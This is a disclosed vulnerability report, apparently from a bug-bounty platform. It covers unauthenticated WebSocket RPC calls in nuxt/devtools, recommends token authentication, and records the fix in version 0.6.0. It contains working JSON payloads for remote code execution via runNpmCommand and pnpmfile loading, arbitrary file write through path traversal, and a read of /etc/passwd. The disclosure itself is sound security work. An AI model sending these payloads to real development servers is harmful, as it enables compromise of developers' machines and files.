Lack of security consideration leads to multiple critical weaknesses in nuxt/devtools


Reported on

May 11th 2023


This report serves more as a suggestion to improve security, rather than fixing any single "vulnerability". I've given examples to demonstrate the impact that neglecting security may have, but these are not the root cause of the issue.

Due to the nature of a package, being able to achieve code execution on the host is guaranteed and intended. Instead of fixing these mistakes, I would recommend adding a form of authentication to verify the requester's identity, similar to the approach taken by Werkzeug / Flask.

This process generally involves displaying a secret token on the console, where only the developer can see it, and then prompting for this token to before a WebSocket session starts. After this is successful you can then exchange potentially dangerous commands.

Once a user is authenticated it no longer matters if they can execute commands as they have this ability via the terminal.


nuxt/devtools is a package that provides tools for developers to inspect and debug their applications from a web interface.

Developer mode vulnerabilities may seem insignificant but they present risks for developers and servers with accidental misconfigurations. You can read more about the impact of development vulnerabilities in nuxt3 here.

The package provides several remote process calls over WebSocket using tinyws and birpc.

There any many interesting commands that we can call, with various weaknesses:

runNpmCommand - Can be abused for RCE

writeStaticAssets - Can be abused for arbitrary file write

getTextAssetContent - Can be abused for arbitrary file read (and then RCE)

installNuxtModule - Potential RCE

setStorageItem - Potential RCE

Proof of Concept

There are multiple ways to do bad things, here are some examples of what's possible.

Code execution in two steps with pnpm:

// Step 1, send the following payload to the WebSocket server
// This will install the package "rce-demo"
// Final output is: "pnpm install rce-demo --no-scripts"
[{"m":"1","a":"2","t":"3","i":"4"},"runNpmCommand",["5", "6"],"q", "x", "install", "rce-demo"]

// Step 2, send the following payload to the WebSocket server
// pnpm will load the file @lastest within the /rce-demo folder, this will trigger RCE with a calc popup.
// Final output is: "pnpm install --config.pnpmfile=./node_modules/rce-demo/@latest"
[{"m":"1","a":"2","t":"3","i":"4"},"runNpmCommand",["5", "6"],"q", "x", "install", "--config.pnpmfile=./node_modules/rce-demo/"]

Arbitrary file write:

// Write any file provided it doesn't already exist
// Data needs to be base64
[{"m":"1","a":"2","t":"3","i":"4"},"writeStaticAssets",["5", "6"],"q", "blah", [{ "name": "test.txt", "data": "YmFsbHM="}], "../../../../../"]

Arbitrary file read:

// Read any file, the last argument is the file length limit
// If you don't know how large a file is you can use -1 to read all but the last char. 
[{"m":"1","a":"2","t":"3","i":"4"},"writeStaticAssets",["5", "6"],"q", "blah", "/etc/passwd", 999999]

Example written in Golang.


Remote code execution on the development server results in a full compromise of confidentiality, integrity and availability.


These features are fine to have, but the sender's identity should be verified. If a nuxt devtools instance was deployed on the internet it would be free for anyone to compromise.

If your development environment is exposed to the local network bad actors with local access can compromise your development environment.

The easiest way to solve this problem would be to automatically open a URL with auth details:

We are processing your report and will contact the nuxt/devtools team within 24 hours. 9 months ago
Anthony Fu validated this vulnerability 9 months ago
ohb00 has been awarded the disclosure bounty
The fix bounty is now up for grabs
The researcher's credibility has increased: +7
Anthony Fu marked this as fixed in 0.6.0 with commit 306c6a 8 months ago
Anthony Fu has been awarded the fix bounty
This vulnerability has now been published 8 months ago
to join this conversation